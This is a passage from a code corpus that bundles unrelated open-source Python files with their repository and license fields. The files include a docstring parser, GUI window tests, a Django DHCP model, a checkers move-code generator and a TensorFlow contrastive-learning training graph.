DocstringExample(args=[section.key], description=desc)\n if section.key in PARAM_KEYWORDS:\n raise ParseError(\"Expected paramenter name.\")\n return DocstringMeta(args=[section.key], description=desc)\n\n @staticmethod\n def _build_multi_meta(\n section: Section, before: str, desc: str\n ) -> DocstringMeta:\n if section.key in PARAM_KEYWORDS:\n match = GOOGLE_TYPED_ARG_REGEX.match(before)\n if match:\n arg_name, type_name = match.group(1, 2)\n if type_name.endswith(\", optional\"):\n is_optional = True\n type_name = type_name[:-10]\n elif type_name.endswith(\"?\"):\n is_optional = True\n type_name = type_name[:-1]\n else:\n is_optional = False\n else:\n arg_name, type_name = before, None\n is_optional = None\n\n match = GOOGLE_ARG_DESC_REGEX.match(desc)\n default = match.group(1) if match else None\n\n return DocstringParam(\n args=[section.key, before],\n description=desc,\n arg_name=arg_name,\n type_name=type_name,\n is_optional=is_optional,\n default=default,\n )\n if section.key in RETURNS_KEYWORDS | YIELDS_KEYWORDS:\n return DocstringReturns(\n args=[section.key, before],\n description=desc,\n type_name=before,\n is_generator=section.key in YIELDS_KEYWORDS,\n )\n if section.key in RAISES_KEYWORDS:\n return DocstringRaises(\n args=[section.key, before], description=desc, type_name=before\n )\n return DocstringMeta(args=[section.key, before], description=desc)\n\n def add_section(self, section: Section):\n \"\"\"Add or replace a section.\n\n :param section: The new section.\n \"\"\"\n\n self.sections[section.title] = section\n self._setup()\n\n def parse(self, text: str) -> Docstring:\n \"\"\"Parse the Google-style docstring into its components.\n\n :returns: parsed docstring\n \"\"\"\n ret = Docstring(style=DocstringStyle.GOOGLE)\n if not text:\n return ret\n\n # Clean according to PEP-0257\n text = inspect.cleandoc(text)\n\n # Find first title and split on its position\n match = self.titles_re.search(text)\n if match:\n desc_chunk = text[: match.start()]\n meta_chunk = text[match.start() :]\n else:\n desc_chunk = text\n meta_chunk = \"\"\n\n # Break description into short and long parts\n parts = desc_chunk.split(\"\\n\", 1)\n ret.short_description = parts[0] or None\n if len(parts) > 1:\n long_desc_chunk = parts[1] or \"\"\n ret.blank_after_short_description = long_desc_chunk.startswith(\n \"\\n\"\n )\n ret.blank_after_long_description = long_desc_chunk.endswith(\"\\n\\n\")\n ret.long_description = long_desc_chunk.strip() or None\n\n # Split by sections determined by titles\n matches = list(self.titles_re.finditer(meta_chunk))\n if not matches:\n return ret\n splits = []\n for j in range(len(matches) - 1):\n splits.append((matches[j].end(), matches[j + 1].start()))\n splits.append((matches[-1].end(), len(meta_chunk)))\n\n chunks = OrderedDict() # type: T.Mapping[str,str]\n for j, (start, end) in enumerate(splits):\n title = matches[j].group(1)\n if title not in self.sections:\n continue\n\n # Clear Any Unknown Meta\n # Ref: https://github.com/rr-/docstring_parser/issues/29\n meta_details = meta_chunk[start:end]\n unknown_meta = re.search(r\"\\n\\S\", meta_details)\n if unknown_meta is not None:\n meta_details = meta_details[: unknown_meta.start()]\n\n chunks[title] = meta_details.strip(\"\\n\")\n if not chunks:\n return ret\n\n # Add elements from each chunk\n for title, chunk in chunks.items():\n # Determine indent\n indent_match = re.search(r\"^\\s*\", chunk)\n if not indent_match:\n raise ParseError('Can\\'t infer indent from \"{}\"'.format(chunk))\n indent = indent_match.group()\n\n # Check for singular elements\n if self.sections[title].type in [\n SectionType.SINGULAR,\n SectionType.SINGULAR_OR_MULTIPLE,\n ]:\n part = inspect.cleandoc(chunk)\n ret.meta.append(self._build_meta(part, title))\n continue\n\n # Split based on lines which have exactly that indent\n _re = \"^\" + indent + r\"(?=\\S)\"\n c_matches = list(re.finditer(_re, chunk, flags=re.M))\n if not c_matches:\n raise ParseError(\n 'No specification for \"{}\": \"{}\"'.format(title, chunk)\n )\n c_splits = []\n for j in range(len(c_matches) - 1):\n c_splits.append((c_matches[j].end(), c_matches[j + 1].start()))\n c_splits.append((c_matches[-1].end(), len(chunk)))\n for j, (start, end) in enumerate(c_splits):\n part = chunk[start:end].strip(\"\\n\")\n ret.meta.append(self._build_meta(part, title))\n\n return ret\n\n\ndef parse(text: str) -> Docstring:\n \"\"\"Parse the Google-style docstring into its components.\n\n :returns: parsed docstring\n \"\"\"\n return GoogleParser().parse(text)\n\n\ndef compose(\n docstring: Docstring,\n rendering_style: RenderingStyle = RenderingStyle.COMPACT,\n indent: str = \" \",\n) -> str:\n \"\"\"Render a parsed docstring into docstring text.\n\n :param docstring: parsed docstring representation\n :param rendering_style: the style to render docstrings\n :param indent: the characters used as indentation in the docstring string\n :returns: docstring text\n \"\"\"\n\n def process_one(\n one: T.Union[DocstringParam, DocstringReturns, DocstringRaises]\n ):\n head = \"\"\n\n if isinstance(one, DocstringParam):\n head += one.arg_name or \"\"\n elif isinstance(one, DocstringReturns):\n head += one.return_name or \"\"\n\n if isinstance(one, DocstringParam) and one.is_optional:\n optional = (\n \"?\"\n if rendering_style == RenderingStyle.COMPACT\n else \", optional\"\n )\n else:\n optional = \"\"\n\n if one.type_name and head:\n head += f\" ({one.type_name}{optional}):\"\n elif one.type_name:\n head += f\"{one.type_name}{optional}:\"\n else:\n head += \":\"\n head = indent + head\n\n if one.description and rendering_style == RenderingStyle.EXPANDED:\n body = f\"\\n{indent}{indent}\".join(\n [head] + one.description.splitlines()\n )\n parts.append(body)\n elif one.description:\n (first, *rest) = one.description.splitlines()\n body = f\"\\n{indent}{indent}\".join([head + \" \" + first] + rest)\n parts.append(body)\n else:\n parts.append(head)\n\n def process_sect(name: str, args: T.List[T.Any]):\n if args:\n parts.append(name)\n for arg in args:\n process_one(arg)\n parts.append(\"\")\n\n parts: T.List[str] = []\n if docstring.short_description:\n parts.append(docstring.short_description)\n if docstring.blank_after_short_description:\n parts.append(\"\")\n\n if docstring.long_description:\n parts.append(docstring.long_description)\n if docstring.blank_after_long_description:\n parts.append(\"\")\n\n process_sect(\n \"Args:\", [p for p in docstring.params or [] if p.args[0] == \"param\"]\n )\n\n process_sect(\n \"Attributes:\",\n [p for p in docstring.params or [] if p.args[0] == \"attribute\"],\n )\n\n process_sect(\n \"Returns:\",\n [p for p in docstring.many_returns or [] if not p.is_generator],\n )\n\n process_sect(\n \"Yields:\", [p for p in docstring.many_returns or [] if p.is_generator]\n )\n\n process_sect(\"Raises:\", docstring.raises or [])\n\n if docstring.returns and not docstring.many_returns:\n ret = docstring.returns\n parts.append(\"Yields:\" if ret else \"Returns:\")\n parts.append(\"-\" * len(parts[-1]))\n process_one(ret)\n\n for meta in docstring.meta:\n if isinstance(\n meta, (DocstringParam, DocstringReturns, DocstringRaises)\n ):\n continue # Already handled\n parts.append(meta.args[0].replace(\"_\", \"\").title() + \":\")\n if meta.description:\n lines = [indent + l for l in meta.description.splitlines()]\n parts.append(\"\\n\".join(lines))\n parts.append(\"\")\n\n while parts and not parts[-1]:\n parts.pop()\n\n return \"\\n\".join(parts)\n", "source": "gfyts0123/docstring_parser", "license": "MIT"} {"text": "import unittest\n\nfrom traits.testing.unittest_tools import UnittestTools\nfrom pyface.tasks.api import Task\nfrom ..task_window import TaskWindow\n\n\n\ndef _task_window_with_named_tasks(*names, **kwargs):\n tasks = [Task(name=name) for name in names]\n\n first_active = kwargs.pop('first_active', False)\n if first_active:\n kwargs['active_task'] = tasks[0]\n\n task = TaskWindow(tasks=tasks, **kwargs)\n return task\n\n\nclass TestTaskWindow(unittest.TestCase, UnittestTools):\n\n def test_title_default(self):\n task_window = TaskWindow()\n\n # default is empty\n self.assertEqual(task_window.title, '')\n\n def test_title_no_active_task(self):\n task_window = _task_window_with_named_tasks(\n 'Test Task', 'Test Task 2')\n\n # should be empty\n self.assertEqual(task_window.title, '')\n\n def test_title_activate_task(self):\n task_window = _task_window_with_named_tasks('Test Task')\n task = task_window.tasks[0]\n\n # activate task\n with self.assertTraitChanges(task_window, 'title', count=1):\n task_window.active_task = task\n self.assertEqual(task_window.title, 'Test Task')\n\n def test_title_change_active_task_name(self):\n task_window = _task_window_with_named_tasks(\n 'Test Task', first_active=True)\n task_1 = task_window.tasks[0]\n\n # change task name\n with self.assertTraitChanges(task_window, 'title', count=1):\n task_1.name = 'Changed Name'\n self.assertEqual(task_window.title, 'Changed Name')\n\n def test_title_change_active_task(self):\n task_window = _task_window_with_named_tasks(\n 'Test Task 1', 'Test Task 2', first_active=True)\n task = task_window.tasks[1]\n\n # change active task\n with self.assertTraitChanges(task_window, 'title', count=1):\n task_window.active_task = task\n self.assertEqual(task_window.title, 'Test Task 2')\n\n def test_title_change_deactivate_task(self):\n task_window = _task_window_with_named_tasks(\n 'Test Task 1', first_active=True)\n\n # change active task\n with self.assertTraitChanges(task_window, 'title', count=1):\n task_window.active_task = None\n self.assertEqual(task_window.title, '')\n\n def test_set_title_no_tasks(self):\n task_window = _task_window_with_named_tasks()\n\n # set window title\n with self.assertTraitChanges(task_window, 'title', count=1):\n task_window.title = \"Window title\"\n self.assertEqual(task_window.title, \"Window title\")\n\n def test_set_title_change_title(self):\n task_window = _task_window_with_named_tasks(title=\"Window Title\")\n\n # set window title\n with self.assertTraitChanges(task_window, 'title', count=1):\n task_window.title = \"New Window title\"\n self.assertEqual(task_window.title, \"New Window title\")\n\n def test_set_title_no_active_task(self):\n task_window = _task_window_with_named_tasks('Test Task')\n\n # set window title\n with self.assertTraitChanges(task_window, 'title', count=1):\n task_window.title = \"Window title\"\n self.assertEqual(task_window.title, \"Window title\")\n\n def test_set_title_active_task(self):\n task_window = _task_window_with_named_tasks(\n 'Test Task', first_active=True)\n\n # set window title\n with self.assertTraitChanges(task_window, 'title', count=1):\n task_window.title = \"Window title\"\n self.assertEqual(task_window.title, \"Window title\")\n\n def test_set_title_activate_task(self):\n task_window = _task_window_with_named_tasks(\n 'Test Task', title=\"Window title\")\n task = task_window.tasks[0]\n\n # change activate task (trait fires, no window title change)\n with self.assertTraitChanges(task_window, 'title', count=1):\n task_window.active_task = task\n self.assertEqual(task_window.title, \"Window title\")\n\n def test_set_title_change_active_task_name(self):\n task_window = _task_window_with_named_tasks(\n 'Test Task', title=\"Window title\", first_active=True)\n task = task_window.tasks[0]\n\n # change task name (trait fires, no window title change)\n with self.assertTraitChanges(task_window, 'title', count=1):\n task.name = 'Changed Name'\n self.assertEqual(task_window.title, \"Window title\")\n\n def test_set_title_change_active_task(self):\n task_window = _task_window_with_named_tasks(\n 'Test Task', 'Test Task 2', title=\"Window title\",\n active_first=True)\n task = task_window.tasks[1]\n\n # change task name (trait fires, no window title change)\n with self.assertTraitChanges(task_window, 'title', count=1):\n task_window.active_task = task\n self.assertEqual(task_window.title, \"Window title\")\n\n def test_reset_title_active_task(self):\n task_window = _task_window_with_named_tasks(\n 'Test Task', title=\"Window title\", first_active=True)\n\n # reset window title\n with self.assertTraitChanges(task_window, 'title', count=1):\n task_window.title = \"\"\n self.assertEqual(task_window.title, \"Test Task\")\n\n def test_reset_title(self):\n task_window = _task_window_with_named_tasks(\n 'Test Task', title=\"Window title\")\n\n # set window title\n with self.assertTraitChanges(task_window, 'title', count=1):\n task_window.title = \"\"\n self.assertEqual(task_window.title, \"\")\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "n = int(input())\r\na = input().split()\r\ncont = 0\r\nx = []\r\nwhile cont < n:\r\n num = int(a[cont])\r\n x.append(num)\r\n cont += 1\r\nprint(\"Menor valor:\",min(x))\r\nprint(\"Posicao:\",x.index((min(x))))\r\n\r\n", "source": "le16bits/URI---Python", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\r\n\r\nfrom keras.models import load_model\r\nimport numpy as np\r\nfrom img2str import create_data, get_face\r\n\r\nemotion_code = {0:'Angry', 1:'Disgust', 2:'Fear', 3:'Happy', 4:'Sad', 5:'Surprise', 6:'Neutral'}\r\n \r\nmodel = load_model(\"FER Train-72 Test-45.hdf5\")\r\n\r\nx = create_data(get_face(\"3.jpg\"))\r\ndata = np.fromstring(x, dtype=int, sep=\" \").reshape(1, 1, 48, 48)\r\nprediction = model.predict(data)\r\np = prediction[0]\r\nprint(p)\r\nm = max(p)\r\nprint(emotion_code.get(np.where(p==m)[0][0]))\r\ncorrection = input(\"Was my prediction correct?[y/n] \")\r\nif correction == 'y':\r\n print(\"Done\")\r\nelse:\r\n print(\"Trying again....\")\r\n new_arr = np.delete(p, np.where(p==m))\r\n nm = max(new_arr)\r\n print(emotion_code.get(np.where(p==nm)[0][0]))\r\n\r\n \r\n", "source": "RudradeepGuha/Emotionless", "license": "MIT"} {"text": "from django.db import models\n# Create your models here.\n\nfrom itertools import chain\n\nfrom cyder.base.mixins import ObjectUrlMixin\nfrom cyder.cydhcp.keyvalue.base_option import CommonOption\nfrom cyder.cydhcp.utils import join_dhcp_args\n\n\nclass Workgroup(models.Model, ObjectUrlMixin):\n id = models.AutoField(primary_key=True)\n name = models.CharField(max_length=100, unique=True)\n\n search_fields = ('name',)\n\n class Meta:\n db_table = 'workgroup'\n\n def __str__(self):\n return self.name\n\n def details(self):\n data = super(Workgroup, self).details()\n data['data'] = [\n ('Name', 'name', self),\n ]\n return data\n\n def eg_metadata(self):\n \"\"\"EditableGrid metadata.\"\"\"\n return {'metadata': [\n {'name': 'name', 'datatype': 'string', 'editable': True},\n ]}\n\n def build_workgroup(self):\n build_str = \"\"\n static_clients = self.staticinterface_set.all()\n dynamic_clients = self.dynamicinterface_set.all()\n if not (static_clients or dynamic_clients):\n return build_str\n build_str += \"group {\\n\"\n statements = self.workgroupkeyvalue_set.filter(is_statement=True)\n options = self.workgroupkeyvalue_set.filter(is_option=True)\n build_str += \"\\t# Workgroup Options\\n\"\n build_str += join_dhcp_args(options)\n build_str += \"\\t# Workgroup Statements\\n\"\n build_str += join_dhcp_args(statements)\n build_str += \"\\t# Static Hosts in Workgorup\\n\"\n for client in chain(dynamic_clients, static_clients):\n build_str += client.build_host()\n build_str += \"}\\n\"\n return build_str\n\n\nclass WorkgroupKeyValue(CommonOption):\n workgroup = models.ForeignKey(Workgroup, null=False)\n aux_attrs = (('description', 'A description of the workgroup'))\n\n class Meta:\n db_table = 'workgroup_kv'\n unique_together = ('key', 'value', 'workgroup')\n\n def save(self, *args, **kwargs):\n self.clean()\n super(WorkgroupKeyValue, self).save(*args, **kwargs)\n", "source": "ngokevin/chili", "license": "BSD-3-Clause"} {"text": "\r\nimport os\r\nimport sys\r\nfrom os import path\r\n\r\ncurrent_dir = path.dirname(path.abspath(__file__))\r\nwhile path.split(current_dir)[-1] != r'Heron':\r\n current_dir = path.dirname(current_dir)\r\nsys.path.insert(0, path.dirname(current_dir))\r\n\r\nfrom Heron import general_utils as gu\r\nExec = os.path.abspath(__file__)\r\n\r\n\r\n# \r\n\r\n\"\"\"\r\nProperties of the generated Node\r\n\"\"\"\r\nBaseName = 'TL Experiment Phases 1 and 3'\r\nNodeAttributeNames = ['Parameters', 'Detected Angle', 'Shown Angle', 'Poke Availability State',\r\n 'Shown Angle Update', 'Move Motor CW', 'Move Motor CCW', 'Poke Command']\r\nNodeAttributeType = ['Static', 'Input', 'Input', 'Input', 'Output', 'Output', 'Output', 'Output']\r\nParameterNames = ['Starting Motor']\r\nParameterTypes = ['list']\r\nParametersDefaultValues = [['CW', 'CCW']]\r\nWorkerDefaultExecutable = os.path.join(os.path.dirname(Exec), 'tl_experiment_phases_1_3_worker.py')\r\n\r\n# \r\n\r\n\r\n# \r\nif __name__ == \"__main__\":\r\n tl_experiment_phases_1_3_com = gu.start_the_transform_communications_process(NodeAttributeType, NodeAttributeNames)\r\n gu.register_exit_signals(tl_experiment_phases_1_3_com.on_kill)\r\n tl_experiment_phases_1_3_com.start_ioloop()\r\n\r\n# \r\n", "source": "Heron-Repositories/Transfer-Learning-In-Animals", "license": "MIT"} {"text": "from picamera import PiCamera\r\nfrom time import sleep\r\n\r\ncamera = PiCamera()\r\n\r\ncamera.rotation = 180\r\ncamera.start_preview()\r\nsleep(10)\r\ncamera.stop_preview()", "source": "MAKER-park/mask_supply", "license": "MIT"} {"text": "# Code generation for shashki-ai\n#\n# Generates the do_move() function as declared in board.h\nimport os\n\nfrom shared import CPP_OUT_DIR, format_cc, linear_index_lookup\n\n\ndef _clear_mask(loc1, loc2):\n \"\"\"\n Returns a mask m, with all bits set except those which are in between loc1 and loc2\n two on the board\n \"\"\"\n # find all bit indices to clear (store in ray), excluding loc1 and loc2\n ray = None\n for i in range(4):\n if loc2 in linear_index_lookup[loc1][i]:\n ix = linear_index_lookup[loc1][i].index(loc2)\n ray = linear_index_lookup[loc1][i][:ix]\n break\n else:\n raise RuntimeError(\"Invalid move (or lookup buggy)\")\n\n # create and-bitmask that clears the bits in quesiton\n value = 0xFFFFFFFFFFFFFFFF\n for i in ray:\n value ^= (1 << i) | (1 << (i + 32))\n\n return value\n\n\ndef _gen_single_move_func_cc(from_, to):\n # crown a king if required\n set_bit_ix = None\n if (to >> 2) == 0: # move ended on black's (top) baseline\n set_bit_ix = f\"{to} + 32 * (!blacks_turn || GET_64(s1, {from_ + 32}))\"\n elif (to >> 2) == 7: # move ended on whites's (top) baseline\n set_bit_ix = f\"{to} + 32 * (blacks_turn || GET_64(s1, {from_ + 32}))\"\n else:\n set_bit_ix = f\"{to} + 32 * GET_64(s1, {from_ + 32})\"\n\n clear_mask = _clear_mask(from_, to)\n not_clear_mask = clear_mask ^ 0xFFFFFFFFFFFFFFFF\n\n return \"\\n\".join(\n [\n f\"// map entry {to << 8 | from_} (= {from_} -> {to}); note that\",\n f\"// `s1` must be the active player\",\n f\"static inline bool _do_move_{from_}_{to}(Slice &s1, Slice &s2, const bool blacks_turn) {{\",\n f\" // set the `to` bit\",\n f\" SET_64(s1, {set_bit_ix});\",\n f\" \",\n f\" // clear `from` bit\",\n f\" s1 &= {0xFFFFFFFFFFFFFFFF ^ (1 << from_) ^ (1 << (from_ + 32))}UL;\",\n f\" \",\n f\" // clear any token in between (zero or one for a valid move)\",\n f\" assert((s1 & {not_clear_mask}UL) == 0);\",\n f\" const bool capture = s2 & {not_clear_mask}UL;\",\n f\" s2 &= {clear_mask}UL;\",\n f\" \",\n f\" return capture;\",\n f\"}}\",\n ]\n )\n\n\ndef _gen_move_func_lookup():\n pass\n\n\ndef _main():\n def generate__do_move_cc():\n all_move_funcs = \"\"\n map_pairs = []\n for from_, directions in enumerate(linear_index_lookup):\n for ray in directions:\n for to in ray:\n all_move_funcs += _gen_single_move_func_cc(from_, to) + \"\\n\\n\"\n map_pairs.append(f\"{{{to << 8 | from_}, _do_move_{from_}_{to}}},\")\n map_pairs = \"\\n\".join(map_pairs)\n\n in_file = (os.path.dirname(__file__) or \".\") + \"/templates/do_move.cc.in\"\n assert os.path.exists(in_file), \"File not found: \" + in_file\n with open(in_file, \"r\") as hf:\n code = \"\\n\".join(l.strip() for l in hf.readlines())\n code = code.replace(\"/**{generating_script}**/\", os.path.basename(__file__))\n code = code.replace(\"/**{all_move_funcs}**/\", all_move_funcs)\n code = code.replace(\"/**{map_pairs}**/\", map_pairs)\n\n out_file = CPP_OUT_DIR + \"/do_move.cc\"\n with open(out_file, \"w\") as hf:\n hf.write(code)\n print(f\"Wrote '{out_file}'\")\n format_cc(out_file)\n\n # do it\n generate__do_move_cc()\n print(\"\")\n\n\nif __name__ == \"__main__\":\n _main()\n", "source": "mpcal/shashki-ai", "license": "MIT"} {"text": "''' Module that stores the constants for the program '''\n\nNPE_REWARDS = {\n 'npe_rewards_login_v1_step1': {'database_name': 'day_1_status'},\n 'npe_rewards_login_v1_step2': {'database_name': 'day_2_status'},\n 'npe_rewards_login_v1_step3': {'database_name': 'day_3_status'},\n 'npe_rewards_login_v1_step4': {'database_name': 'day_4_status'},\n 'npe_rewards_login_v1_step5': {'database_name': 'day_5_status'},\n 'npe_rewards_login_v1_step6': {'database_name': 'day_6_status'},\n}\n", "source": "anchalghale/auto_disenchanter", "license": "Apache-2.0"} {"text": "\"\"\"Deep Q learning graph\n\nThe functions in this file can are used to create the following functions:\n\n======= act ========\n\n Function to chose an action given an observation\n\n Parameters\n ----------\n observation: object\n Observation that can be feed into the output of make_obs_ph\n stochastic: bool\n if set to False all the actions are always deterministic (default False)\n update_eps_ph: float\n update epsilon a new value, if negative not update happens\n (default: no update)\n\n Returns\n -------\n Tensor of dtype tf.int64 and shape (BATCH_SIZE,) with an action to be performed for\n every element of the batch.\n\n\n======= train =======\n\n Function that takes a transition (s,a,r,s') and optimizes Bellman equation's error:\n\n td_error = Q(s,a) - (r + gamma * max_a' Q(s', a'))\n loss = huber_loss[td_error]\n\n Parameters\n ----------\n obs_t: object\n a batch of observations\n action: np.array\n actions that were selected upon seeing obs_t.\n dtype must be int32 and shape must be (batch_size,)\n reward: np.array\n immediate reward attained after executing those actions\n dtype must be float32 and shape must be (batch_size,)\n obs_tp1: object\n observations that followed obs_t\n done: np.array\n 1 if obs_t was the last observation in the episode and 0 otherwise\n obs_tp1 gets ignored, but must be of the valid shape.\n dtype must be float32 and shape must be (batch_size,)\n weight: np.array\n imporance weights for every element of the batch (gradient is multiplied\n by the importance weight) dtype must be float32 and shape must be (batch_size,)\n\n Returns\n -------\n td_error: np.array\n a list of differences between Q(s,a) and the target in Bellman's equation.\n dtype is float32 and shape is (batch_size,)\n\n======= update_target ========\n\n copy the parameters from optimized Q function to the target Q function.\n In Q learning we actually optimize the following error:\n\n Q(s,a) - (r + gamma * max_a' Q'(s', a'))\n\n Where Q' is lagging behind Q to stablize the learning. For example for Atari\n\n Q' is set to Q once every 10000 updates training steps.\n\n\"\"\"\nimport tensorflow as tf\nimport baselines.common.tf_util as U\nimport numpy as np\n\n\ndef build_act_mfmc(make_obs_ph, model_func, num_actions, scope=\"deepq\", secondary_scope=\"model_func\", reuse=None):\n with tf.variable_scope(scope, reuse=reuse):\n observations_ph = U.ensure_tf_input(make_obs_ph(\"observation\"))\n z, v = model_func(observations_ph.get(),\n num_actions,\n scope=secondary_scope,\n reuse=tf.AUTO_REUSE)\n\n act = U.function(inputs=[observations_ph],\n outputs=[z])\n\n return act\n\n\ndef build_train_mfmc(make_obs_ph, model_func, num_actions, optimizer, grad_norm_clipping=None, gamma=1.0, batch_size=5,\n scope=\"mfec\",\n latent_dim=32, input_dim=84 * 84 * 4, hash_dim=32, K=10, beta=0.1, predict=True, use_rp=False,\n reuse=None):\n \"\"\"Creates the train function:\n\n Parameters\n ----------\n make_obs_ph: str -> tf.placeholder or TfInput\n a function that takes a name and creates a placeholder of input with that name\n num_actions: int\n number of actions\n reuse: bool\n whether or not to reuse the graph variables\n optimizer: tf.train.Optimizer\n optimizer to use for the Q-learning objective.\n grad_norm_clipping: float or None\n clip gradient norms to this value. If None no clipping is performed.\n gamma: float\n discount rate.\n double_q: bool\n if true will use Double Q Learning (https://arxiv.org/abs/1509.06461).\n In general it is a good idea to keep it enabled.\n scope: str or VariableScope\n optional scope for variable_scope.\n reuse: bool or None\n whether or not the variables should be reused. To be able to reuse the scope must be given.\n\n Returns\n -------\n act: (tf.Variable, bool, float) -> tf.Variable\n function to select and action given observation.\n` See the top of the file for details.\n train: (object, np.array, np.array, object, np.array, np.array) -> np.array\n optimize the error in Bellman's equation.\n` See the top of the file for details.\n update_target: () -> ()\n copy the parameters from optimized Q function to the target Q function.\n` See the top of the file for details.\n debug: {str: function}\n a bunch of functions to print debug data like q_values.\n \"\"\"\n z_func = build_act_mfmc(make_obs_ph, model_func, num_actions, scope=scope, secondary_scope=\"model_func\",\n reuse=reuse)\n # encoder_z_func = build_act_mfmc(make_obs_ph, model_func, num_actions, scope=scope,\n # secondary_scope=\"encoder_model_func\", reuse=reuse)\n\n with tf.variable_scope(scope, reuse=reuse):\n # set up placeholders\n\n # EMDQN\n tau = tf.placeholder(tf.float32, [1], name='tau')\n # momentum = tf.placeholder(tf.float32, [1], name='momentum')\n\n obs_hash_input = U.ensure_tf_input(make_obs_ph(\"obs_hash\"))\n obs_mc_input = U.ensure_tf_input(make_obs_ph(\"obs\"))\n obs_mc_input_query = U.ensure_tf_input(make_obs_ph(\"obs_query\"))\n # obs_mc_input_positive = U.ensure_tf_input(make_obs_ph(\"enc_obs_pos\"))\n keys_mc_input_negative = tf.placeholder(tf.float32, [None, K, latent_dim], name='enc_keys_neg')\n keys_mc_input_positive = tf.placeholder(tf.float32, [None, latent_dim], name='enc_keys_pos')\n keys_mc_input_anchor = tf.placeholder(tf.float32, [None, latent_dim], name='enc_keys_anchor')\n # keys_mc_input_anchor = tf.Variable(initial_value=np.zeros((batch_size, latent_dim)),\n # shape=[batch_size, latent_dim],\n # name='enc_keys_anchor',\n # dtype=tf.float32)\n #\n # keys_mc_input_positive = tf.Variable(initial_value=np.zeros((batch_size, latent_dim)),\n # shape=[batch_size, latent_dim],\n # name='enc_keys_pos',\n # dtype=tf.float32)\n # keys_mc_input_negative = tf.Variable(initial_value=np.zeros((batch_size, K, latent_dim)),\n # shape=[batch_size, K, latent_dim],\n # name='enc_keys_neg',\n # dtype=tf.float32)\n\n # inputs = [obs_mc_input]\n value_input = tf.placeholder(tf.float32, [None, 1], name='value')\n if predict:\n inputs = [tau, obs_mc_input_query, keys_mc_input_positive,\n keys_mc_input_negative, keys_mc_input_anchor, obs_mc_input, value_input]\n else:\n inputs = [tau, obs_mc_input_query, keys_mc_input_positive, keys_mc_input_negative, keys_mc_input_anchor]\n z_mc, _ = model_func(\n obs_mc_input_query.get(), num_actions,\n scope=\"model_func\",\n reuse=True)\n\n _, v_mc = model_func(\n obs_mc_input.get(), num_actions,\n scope=\"model_func\",\n reuse=True)\n # encoder_z_mc_pos, encoder_v_mc_pos = model_func(\n # obs_mc_input_positive.get(), num_actions,\n # scope=\"encoder_model_func\", reuse=True)\n\n # z_mc_pos = tf.stop_gradient(encoder_z_mc_pos)\n # z_mc_pos = tf.reshape(keys_mc_input_positive, [-1, 1, latent_dim])\n # z_mc_anchor = tf.reshape(z_mc, [-1, latent_dim, 1])\n # z_mc_neg = tf.reshape(keys_mc_input_negative, [-1, K, latent_dim])\n\n z_mc_pos = keys_mc_input_positive\n z_mc = tf.reshape(z_mc, [-1, latent_dim])\n z_mc_expand = tf.reshape(z_mc, [-1, 1, latent_dim])\n z_mc_tile = tf.tile(z_mc_expand, [1, K, 1])\n z_mc_neg = keys_mc_input_negative\n z_mc_anchor = keys_mc_input_anchor\n\n anchor_dist = tf.sqrt(tf.reduce_sum(tf.square(z_mc - z_mc_anchor), axis=1))\n pos_dist = tf.sqrt(tf.reduce_sum(tf.square(z_mc - z_mc_pos), axis=1))\n neg_dist = tf.reduce_mean(tf.sqrt(tf.reduce_sum(tf.square(z_mc_tile - z_mc_neg), axis=2)), axis=1)\n # contrast_loss = tf.reduce_mean(tf.maximum(pos_dist - neg_dist + 1, 0))\n contrast_loss = tf.reduce_mean(tf.maximum(pos_dist - neg_dist + 1, 0)) \\\n + 0.5 * tf.reduce_mean(pos_dist) + 0.5 * tf.reduce_mean(anchor_dist)\n\n pos_grad = tf.gradients([contrast_loss], [z_mc_pos])\n neg_grad = tf.gradients([contrast_loss], [z_mc_neg])\n # neg_grad = tf.gradients([contrast_loss],[z_mc_neg])\n\n # negative = tf.matmul(z_mc_neg, z_mc_anchor) / tau\n # exp_negative = tf.squeeze(tf.reduce_sum(tf.exp(negative), axis=1))\n # positive = tf.squeeze(tf.matmul(z_mc_pos, z_mc_anchor) / tau)\n # print(\"shape:\", z_mc.shape, z_mc_anchor.shape, z_mc_pos.shape, negative.shape, exp_negative.shape,\n # positive.shape)\n # contrast_loss = tf.reduce_mean(tf.log(exp_negative) - positive)\n # print(\"shape2:\", z_mc.shape, negative.shape, positive.shape)\n prediction_loss = tf.losses.mean_squared_error(value_input, v_mc)\n total_loss = contrast_loss\n if predict:\n total_loss += beta * prediction_loss\n\n model_func_vars = U.scope_vars(U.absolute_scope_name(\"model_func\"))\n # encoder_model_func_vars = U.scope_vars(U.absolute_scope_name(\"encoder_model_func\"))\n if grad_norm_clipping is not None:\n optimize_expr_contrast_with_prediction = U.minimize_and_clip(optimizer,\n total_loss,\n var_list=model_func_vars,\n clip_val=grad_norm_clipping)\n else:\n optimize_expr_contrast_with_prediction = optimizer.minimize(total_loss, var_list=model_func_vars)\n # Create callable functions\n # update_target_fn will be called periodically to copy Q network to target Q network\n # update_target_expr = []\n # for var, var_target in zip(sorted(model_func_vars, key=lambda v: v.name),\n # sorted(encoder_model_func_vars, key=lambda v: v.name)):\n # update_target_expr.append(var_target.assign((1 - momentum) * var + momentum * var_target))\n # update_target_expr = tf.group(*update_target_expr)\n # update_target = U.function([momentum], [], updates=[update_target_expr])\n\n if use_rp:\n latten_obs = tf.reshape(obs_hash_input.get(), [-1, input_dim])\n rp = tf.random.normal([input_dim, hash_dim], 0, 1 / np.sqrt(hash_dim))\n obs_hash_output = tf.matmul(latten_obs, rp)\n\n else:\n obs_hash_output, _ = model_func(\n obs_hash_input.get(), num_actions,\n scope=\"hash_func\",\n reuse=False)\n hash_func = U.function(\n inputs=[obs_hash_input],\n outputs=[obs_hash_output]\n )\n # EMDQN\n z_var_summary = tf.summary.scalar(\"z_var\", tf.reduce_mean(tf.math.reduce_std(z_mc, axis=1)))\n z_mean_summary = tf.summary.scalar(\"z_mean\", tf.reduce_mean(tf.math.reduce_mean(z_mc, axis=1)))\n negative_summary = tf.summary.scalar(\"negative\", tf.reduce_mean(tf.reduce_mean(neg_dist)))\n negative_mean_summary = tf.summary.scalar(\"negative mean\", tf.reduce_mean(tf.reduce_mean(z_mc_neg)))\n negative_grad_summary = tf.summary.scalar(\"negative grad\", tf.reduce_mean(tf.abs(neg_grad)))\n negative_var_summary = tf.summary.scalar(\"negative std\", tf.reduce_mean(tf.math.reduce_std(z_mc_neg, axis=2)))\n # negative_summary = tf.summary.scalar(\"negative\", tf.reduce_mean(tf.reduce_mean(negative)))\n positive_summary = tf.summary.scalar(\"positive\", tf.reduce_mean(tf.reduce_mean(pos_dist)))\n 